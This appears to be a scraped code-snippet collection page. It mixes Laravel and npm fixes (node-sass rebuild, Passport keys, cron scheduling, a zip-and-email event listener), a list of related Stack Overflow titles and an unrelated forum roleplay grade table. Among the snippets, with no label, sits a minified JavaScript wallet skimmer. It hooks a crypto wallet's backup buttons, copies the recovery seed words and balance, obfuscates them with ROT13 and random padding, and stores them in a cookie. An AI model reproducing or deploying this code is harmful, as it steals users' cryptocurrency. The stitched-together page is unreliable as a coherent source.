Laravel

npm rebuild node-sass

// Sometimes this will throw an error along these lines
gyp ERR! stack Error: `make` failed with exit code: 2

// The most likely thing is that the version of node-sass installed on your project is incompatible to your version of Node

// To fix this, visit https://github.com/sass/node-sass#supported-nodejs-versions-vary-by-release-please-consult-the-releases-page-below-is-a-quick-guide-for-minimum-support to confirm whether this is the case. If so, install n (the interactive version manager) by running:

npm install -g n
// make cache folder (if missing) and take ownership
sudo mkdir -p /usr/local/n
sudo chown -R $(whoami) /usr/local/n

// Install the appropriate version of node
n 10.16.0 
// or 
n lts // for the most recent stable release with long term support

// If it throws a sudo error along these lines,

Error: sudo required (or change ownership, or define N_PREFIX)

// Take ownership of node install destination folders
sudo chown -R $(whoami) /usr/local/bin /usr/local/lib /usr/local/include /usr/local/share
php artisan passport:keys

php artisan passport:client --personal
 $query->with(['report', 'report.customer'])
* * * * * cd /path-to-your-project && php artisan schedule:run >> /dev/null 2>&1


// To create the crontab file, run crontab -e in your project folder
<button type="submit" id="customers_filter" onclick="checkWhetherTheTableContainsSearchResults()"
                                class="btn filter-button d-inline-block ml-3">
                                Filter
                            </button>
                            
<input id="search-hidden-input" hidden name="searchValue">

<script>
function checkWhetherTheTableContainsSearchResults() {
        let search = location.search.substring(1)
            searchInputElement = document.getElementById('search-hidden-input');
        
        if(search != '') {
            searchInputElement.setAttribute('value', search);
        }
    }
</script>
    
// If the filter is to work on search results, the original search parameter has to be passed into the request array.
        // Thus, the request array will return more than one parameter 
        // AND
        // one of the parameters will be searchValue
        // WHICH
        // will contain the entire search parameter (key + value)

        if ((count($request->all()) > 1) && (isset($request->searchValue))) {
            if (strpos($request->searchValue, '=')) {
                $string = $request->searchValue;
                $array = explode('=', $string);
                $request->searchValue = $array[1];
            }
        }
// you could use the invokable flag so you don't use the index

php artisan make:controller PagesController --invokable

// and then use this route:
Route::get('/{any?}', App\Http\Controllers\PagesController::class)->where('any', '.*');

// it tells Laravel routing to respond to any route provided or nothing with the question mark "?" and responds with an invokable controller

    public function __invoke()
    {
        return view('welcome');
    }
// Route code

Route::get('/test/excel', function() {
    $zip_file = 'invoices.zip'; // Name of our archive to download

    // Initializing PHP class
    $zip = new \ZipArchive();
    $zip->open($zip_file, \ZipArchive::CREATE | \ZipArchive::OVERWRITE);

    $invoice_file = 'app/exports/file.xls'; // This is a storage file path - as in, storage/app/exports/file.xls

    // Adding file: second parameter is what will the path inside of the archive
    // So it will create another folder called "storage/" inside ZIP, and put the file there.
    $zip->addFile(storage_path($invoice_file), $invoice_file);
    $zip->close();

    // We return the file immediately after download
    event(new TestExcel($zip_file));

    flash()->success('test');

    return redirect('/contacts');
});

// Event code

<?php

namespace App\Events;

use App\Events\Event;
use Illuminate\Queue\SerializesModels;
use Illuminate\Contracts\Broadcasting\ShouldBroadcast;

class TestExcel extends Event
{
    use SerializesModels;

    /*
     * get the require info for sending email
     */
    public $contact;
    public $errors;

    /**
     * Create a new event instance.
     *
     * @return void
     */
    public function __construct($zip_file)
    {
        $this->zip_file = $zip_file;
    }

    /**
     * Get the channels the event should be broadcast on.
     *
     * @return array
     */
    public function broadcastOn()
    {
        return [];
    }
}

// Listener code

<?php

namespace App\Listeners;

use App\Events\Interactions\InteractionsEmailError;
use App\Events\TestExcel;
use App\Mail\Mailers\ComplexMailable;
use App\Mail\Mailers\SimpleMailable;
use Illuminate\Support\Facades\Mail;

class WhenTestExcel
{
    /**
     * Create the event listener.
     *
     * @return void
     */
    public function __construct()
    {
        //
    }

    /**
     * Handle the event.
     *
     * @param  InteractionsEmailError $event
     * @return void
     */
    public function handle(TestExcel $event)
    {
        $this->sendInteractionsEmail($event->zip_file);
    }

    public function sendInteractionsEmail($zip_file)
    {
        $data = [
            'view' => 'emails.leads.referrals.referrers_to_be_contacted',
            'subject' => 'CRM Lead Referrers Report',
            'attachments' => $zip_file,
            'content' => 'Find attached details of the referrers who requested to be contacted.',
            'to' => 'clientservice@cytonn.com',
        ];

        Mail::send(new ComplexMailable($data));
    }
}
$schedule->command('crm:top-producers-two-weeks-ago')->weekly()->fridays()
            ->when(function () {
                return date('W') % 2;
            })->at("01:38")->withoutOverlapping;

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo

[div align="center"][div style="width:550px;border-top:10px solid #68a758;border-bottom:10px solid #68a758;background-color:white;"][img style="max-width:100%;" src="https://i.postimg.cc/bJyKRG4B/sly1.gif"] [div style="width:90%;padding:15px;"][div style="width:250px;font-family:arial;font-size:23px;font-weight:bold;font-style:italic;float:left;text-align:right;letter-spacing:-1px;"]EMERSON ROOK[/div][div style="border-radius:50px;padding:5px;border:3px double black;color:black;font-family:georgia;font-size:35px;margin-left:25px;width:40px;float:left;"]S[/div][div style="float:left;margin-left:20px;margin-top:5px;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;padding:5px;text-align:left;line-height:12px;"][b][i]FIRST[/i][/b] BEGINNERS FULL [/div] [hr] [div style="font-family:arial;font-size:11px;"][table style="width:500px;"][tbody][tr][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]ASSIGNMENT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]HOMEWORK[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]EXTRA CREDIT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]GRADE[/i][/b][/span] [/div][/td][/tr][tr][td align="center" style="padding:3px;"]Lesson One [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Two [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Three [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Four [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Five [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][/tbody][/table] [hr] [font size="1"][b]FINAL GRADE:[/b] 000/200 (T) @emersonrook , post your homework here[/font][/div] [/div][/div][/div][/quote]

@cryptpkr